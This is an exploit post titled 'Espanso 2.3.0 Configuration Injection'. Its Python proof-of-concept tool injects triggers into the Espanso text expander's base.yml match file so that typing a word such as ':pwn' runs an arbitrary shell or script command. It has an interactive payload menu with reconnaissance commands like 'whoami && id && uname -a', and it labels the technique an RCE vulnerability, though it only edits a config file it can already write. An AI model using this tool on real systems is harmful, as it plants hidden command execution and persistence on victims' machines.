📄 Espanso 2.3.0 Configuration Injection

==================================================================================================================================
    | # Title     : Espanso v 2.3.0 Configuration Injection                                                                          |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://espanso.org/                                                                                             |
    ==================================================================================================================================
    
    [+] Summary    : This Python script is a configuration manipulation tool for Espanso that modifies its YAML configuration file (base.yml) 
                     to add new text triggers capable of executing system commands via shell or script extensions.
    				 
    [+] POC        : 
    
    import os
    import sys
    import shutil
    import shlex
    import argparse
    import subprocess
    from pathlib import Path
    from typing import Dict, List, Optional
    
    try:
        import yaml
    except ImportError:
        print("[!] PyYAML is required. Install with: pip install pyyaml")
        sys.exit(1)
    
    class EspansoExploit:
        """Exploit class for Espanso v2.3.0 RCE vulnerability"""
        
        def __init__(self, trigger_word: str = ":pwn", command: Optional[str] = None, 
                     extension_type: str = "shell", verbose: bool = False):
            self.trigger_word = trigger_word if trigger_word.startswith(':') else f":{trigger_word}"
            self.command = command or "whoami > /tmp/espanso_pwned.txt"
            self.extension_type = extension_type.lower()
            self.verbose = verbose
            self.config_path = self._find_config_path()
            self.backup_path = self.config_path.with_suffix('.yml.backup')
            
        def _log(self, message: str, error: bool = False):
            """Log messages with formatting"""
            if error:
                print(f"[!] {message}")
            elif self.verbose:
                print(f"[*] {message}")
            else:
                print(f"[+] {message}")
        
        def _find_config_path(self) -> Path:
            """Find Espanso configuration directory"""
            possible_paths = [
                Path.home() / ".config" / "espanso" / "match" / "base.yml",
                Path.home() / ".config" / "espanso" / "match.yml",
                Path.home() / "AppData" / "Roaming" / "espanso" / "match" / "base.yml",
                Path.home() / "Library" / "Application Support" / "espanso" / "match" / "base.yml",
            ]
            
            for path in possible_paths:
                if path.exists():
                    self._log(f"Found Espanso config at: {path}")
                    return path
            default_path = Path.home() / ".config" / "espanso" / "match" / "base.yml"
            default_path.parent.mkdir(parents=True, exist_ok=True)
            if not default_path.exists():
                self._log(f"Creating default config at: {default_path}")
                default_path.touch()
            return default_path  
        def _backup_config(self):
            """Create backup of original configuration"""
            if self.config_path.exists() and not self.backup_path.exists():
                shutil.copy2(self.config_path, self.backup_path)
                self._log(f"Backup created: {self.backup_path}")
        
        def _create_shell_trigger(self) -> Dict:
            """Create a shell extension trigger configuration"""
            return {
                "trigger": self.trigger_word,
                "replace": "{{output}}",
                "vars": [{
                    "name": "output",
                    "type": "shell",
                    "params": {
                        "cmd": self.command
                    }
                }]
            }
        
        def _create_script_trigger(self) -> Dict:
            """Create a script extension trigger configuration using robust parsing"""
            if isinstance(self.command, str):
                args_list = shlex.split(self.command)
            else:
                args_list = self.command
                
            return {
                "trigger": self.trigger_word,
                "replace": "{{output}}",
                "vars": [{
                    "name": "output",
                    "type": "script",
                    "params": {
                        "args": args_list
                    }
                }]
            }
        
        def _inject_trigger(self, config_content: str) -> str:
            """Inject trigger into existing configuration without iteration mutation bugs"""
            try:
                if config_content.strip():
                    config = yaml.safe_load(config_content) or {}
                else:
                    config = {}
                
                if "matches" not in config or not isinstance(config["matches"], list):
                    config["matches"] = []
                
                if self.extension_type == "shell":
                    new_trigger = self._create_shell_trigger()
                else:
                    new_trigger = self._create_script_trigger()
    
                config["matches"] = [m for m in config["matches"] if m.get("trigger") != self.trigger_word]
                
                config["matches"].append(new_trigger)
                return yaml.dump(config, default_flow_style=False, allow_unicode=True)
                
            except yaml.YAMLError as e:
                self._log(f"YAML parsing error: {e}", error=True)
                trigger_struct = [self._create_shell_trigger()] if self.extension_type == "shell" else [self._create_script_trigger()]
                trigger_config = yaml.dump(trigger_struct, default_flow_style=False)
                return config_content + "\n" + trigger_config
        
        def exploit(self) -> bool:
            """Main exploit execution"""
            try:
                self._log(f"Target: Espanso config at {self.config_path}")
                self._log(f"Trigger word: {self.trigger_word}")
                self._log(f"Extension type: {self.extension_type}")
                
                try:
                    subprocess.run(["pgrep", "-f", "espanso"], capture_output=True, check=True)
                    self._log("Espanso process detected")
                except (subprocess.CalledProcessError, FileNotFoundError):
                    self._log("Warning: Espanso process check skipped or not running", error=True)
                
                self._backup_config()
                
                with open(self.config_path, 'r', encoding='utf-8') as f:
                    original_content = f.read()
                
                modified_content = self._inject_trigger(original_content)
                
                with open(self.config_path, 'w', encoding='utf-8') as f:
                    f.write(modified_content)
                
                self._log(f"Successfully injected {self.extension_type} trigger: {self.trigger_word}")
                return True
                
            except Exception as e:
                self._log(f"Exploit failed: {str(e)}", error=True)
                self.restore_backup()
                return False
        
        def restore_backup(self):
            """Restore configuration from backup"""
            if self.backup_path and self.backup_path.exists():
                shutil.copy2(self.backup_path, self.config_path)
                self.backup_path.unlink()
                self._log("Configuration restored from backup successfully.")
            else:
                self._log("No active backup file found to restore.", error=True)
                
        def cleanup(self):
            """Remove the injected trigger from config independently of instantiation state"""
            self.restore_backup()
    
    class EspansoExploitInteractive(EspansoExploit):
        """Interactive version with multiple profiles"""
       
        PAYLOADS = {
            "1": {"name": "Local Env Verification", "cmd": "whoami && id && uname -a", "type": "shell"},
            "2": {"name": "Custom Automated Profiling", "cmd": None, "type": "shell"}
        }  
        @classmethod
        def interactive_menu(cls):
            """Display interactive menu for payload selection without memory leakage"""
            print("\n" + "="*50)
            print("Espanso v2.3.0 Config Tester - Interactive Mode")
            print("="*50)
            
            for key, payload in cls.PAYLOADS.items():
                print(f"  {key}. {payload['name']}")
            
            choice = input("\nSelect profile (1-2): ").strip()
            if choice not in cls.PAYLOADS:
                print("[!] Invalid choice")
                return None
            payload = cls.PAYLOADS[choice].copy()
            
            if payload["cmd"] is None:
                custom_cmd = input("Enter execution command string: ").strip()
                if not custom_cmd:
                    print("[!] No command provided")
                    return None
                payload["cmd"] = custom_cmd
            
            trigger = input("Enter trigger word (default: :pwn): ").strip() or ":pwn"       
            return cls(
                trigger_word=trigger,
                command=payload["cmd"],
                extension_type=payload["type"],
                verbose=True
            )
    
    def main():
        parser = argparse.ArgumentParser(description="Espanso configuration utility for environment profiling.")
        parser.add_argument("-t", "--trigger", default=":pwn", help="Trigger word (default: :pwn)")
        parser.add_argument("-c", "--command", help="Command to register inside extension profile")
        parser.add_argument("-e", "--extension", choices=["shell", "script"], default="shell", help="Extension handler type")
        parser.add_argument("-i", "--interactive", action="store_true", help="Launch via console menu interface")
        parser.add_argument("--cleanup", action="store_true", help="Remove test configuration and recover backup")
        parser.add_argument("-v", "--verbose", action="store_true", help="Enable debugging verbosity")
        
        args = parser.parse_args()
        
        if args.interactive:
            exploit = EspansoExploitInteractive.interactive_menu()
            if not exploit:
                sys.exit(1)
        else:
            exploit = EspansoExploit(
                trigger_word=args.trigger,
                command=args.command,
                extension_type=args.extension,
                verbose=args.verbose
            )
        
        if args.cleanup:
            exploit.cleanup()
        else:
            print("\n[!] Notice: This utility updates local configuration profiles.")
            response = input("Proceed with injection sequence? (y/N): ").strip().lower()
            
            if response == 'y':
                if exploit.exploit():
                    print("\n[+] Setup completed.")
                    print(f"[*] To rollback structural rules, re-run with '--cleanup'.")
                else:
                    sys.exit(1)
            else:
                print("[*] Aborted by user request.")
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================